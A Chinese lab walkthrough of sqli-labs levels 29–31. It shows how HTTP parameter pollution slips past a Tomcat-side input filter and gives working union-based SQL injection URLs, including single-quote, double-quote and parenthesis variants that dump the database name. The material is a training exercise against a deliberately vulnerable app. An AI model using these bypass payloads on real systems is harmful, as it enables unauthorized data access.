网络安全——WAF绕过注入

综合渗透测试-WAF绕过注入

第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:

Kali Linux

网络安全——WAF绕过注入_第1张图片

Windows 7

网络安全——WAF绕过注入_第2张图片

第二步,查看Tomcat中第29关的源码(位于桌面/apache-tomcat-9.0.29/webapps/sqli-labs/Less-29/index.jsp)

网络安全——WAF绕过注入_第3张图片

源代码中,通过正则表达式限制id的值必须是数字,除数字以外的内容如果出现,则被拦截。

第三步,切换至Windows 7靶机控制台,运行Tomcat:

桌面/apache-tomcat-9.0.29/bin/双击startup.bat

网络安全——WAF绕过注入_第4张图片

第四步,使用Kali Linux访问sqli-lab第29关的页面:

http://172.16.1.200:8080(靶机IP地址)/sqli-labs/Less-29/

第五步,先尝试双引号是否能引发报错:

http://172.16.1.200:8080/sqli-labs/Less-29/?id=1"

网络安全——WAF绕过注入_第5张图片

被WAF拦截,并跳转至hacked.jsp。

第六步,尝试使用单引号引发报错:

?id=1'

网络安全——WAF绕过注入_第6张图片

同样的,单引号也被WAF所拦截。

可以推断WAF接收到某些非法字符时,就会将页面跳转至hacked.jsp。

第七步,尝试绕过限制:

1. 测试id=1时返回的结果:

?id=1

网络安全——WAF绕过注入_第7张图片

2. 测试id=2时返回的结果:

网络安全——WAF绕过注入_第8张图片

3. 如果同时传递两个id,将如何显示?

id=1&id=2

网络安全——WAF绕过注入_第9张图片

显示的是id=2时的返回结果。

4. 尝试在id=1后加入一个单引号:

id=1'&id=2

网络安全——WAF绕过注入_第10张图片

被WAF拦截。

5. 尝试在id=2后加入一个单引号:

id=1&id=2'

网络安全——WAF绕过注入_第11张图片

报错出现,初步注入成功。

6. 解释原因:

Apache(PHP)解析最后一个参数,即显示id=2的内容。Tomcat(JSP)解析第一个参数,即显示id=1的内容:

网络安全——WAF绕过注入_第12张图片

以上图片为大多数服务器对于参数解析的介绍。

此处我们想一个问题:?id=1&id=2请求,针对服务器配置情况,客户端请求首先过Tomcat,Tomcat解析第一个参数,接下来Tomcat去请求Apache(PHP)服务器,Apache解析最后一个参数。那最终返回客户端的应该是哪个参数?

此处应该是id=2的内容,应为时间上提供服务的是Apache(PHP)服务器,返回的数据也应该是Apache处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在Tomcat服务器处做数据过滤和处理,功能类似为一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP(HTTP Parameter Pollution),HTTP参数污染攻击的一个应用。HPP可对服务器和客户端都能够造成一定的威胁。

7. 爆出当前数据库的名称:

?id=1&id=-1' union select 1,2,database() --+

网络安全——WAF绕过注入_第13张图片

第八步,切换至关卡30:

http://172.16.1.200:8080/sqli-labs/Less-30

网络安全——WAF绕过注入_第14张图片

第九步,对第30关卡进行SQL注入测试:

1. 确定30关卡是否也同样限制id必须为数字:

?id=1'

网络安全——WAF绕过注入_第15张图片

2. 使用双id尝试绕过:

?id=1&id=2

网络安全——WAF绕过注入_第16张图片

3. 尝试爆出当前数据库的名称:

?id=1&id=-1' union select 1,2,database() --+

网络安全——WAF绕过注入_第17张图片

有正确回显但无错误回显。

4. 测试引号字符类型:

?id=1&id=2'

网络安全——WAF绕过注入_第18张图片

回显正常。

5. 测试引号字符类型:

?id=1&id=2"

网络安全——WAF绕过注入_第19张图片

无回显信息,所以注入漏洞为“双引号字符型”。

6. 双引号字符型注入,直接将刚刚的单引号修改为双引号即可:

?id=1&id=-1" union select 1,2,database() --+

网络安全——WAF绕过注入_第20张图片

第十步,切换至关卡31:

http://172.16.1.200:8080/sqli-labs/Less-31

网络安全——WAF绕过注入_第21张图片

第十一步,对关卡31进行注入测试:

1. 正常查询id:

?id=1

网络安全——WAF绕过注入_第22张图片

正常返回结果,在页面底部发现,显示了我们传入的id。

2. 尝试进行双id绕过,且执行SQL语句:

?id=1&id=-1'union select 1,2,3 --+

网络安全——WAF绕过注入_第23张图片

无返回结果,且在页面下方看到我们的符号都被进行了URL编码,注入失败。

3. 查看第31关卡源码(位于C:\AppServ\www\sqli-labs\Less-31\index.php):

网络安全——WAF绕过注入_第24张图片

从SQL语句中可以注意到,id被括号括了起来,我们需要绕过该括号进行注入。

4. 绕过括号进行注入:

?id=1&id=-1") union select 1,2,database() --+

网络安全——WAF绕过注入_第25张图片

注入成功。

你可能感兴趣的:(综合渗透测试,tomcat,linux,java,服务器,运维)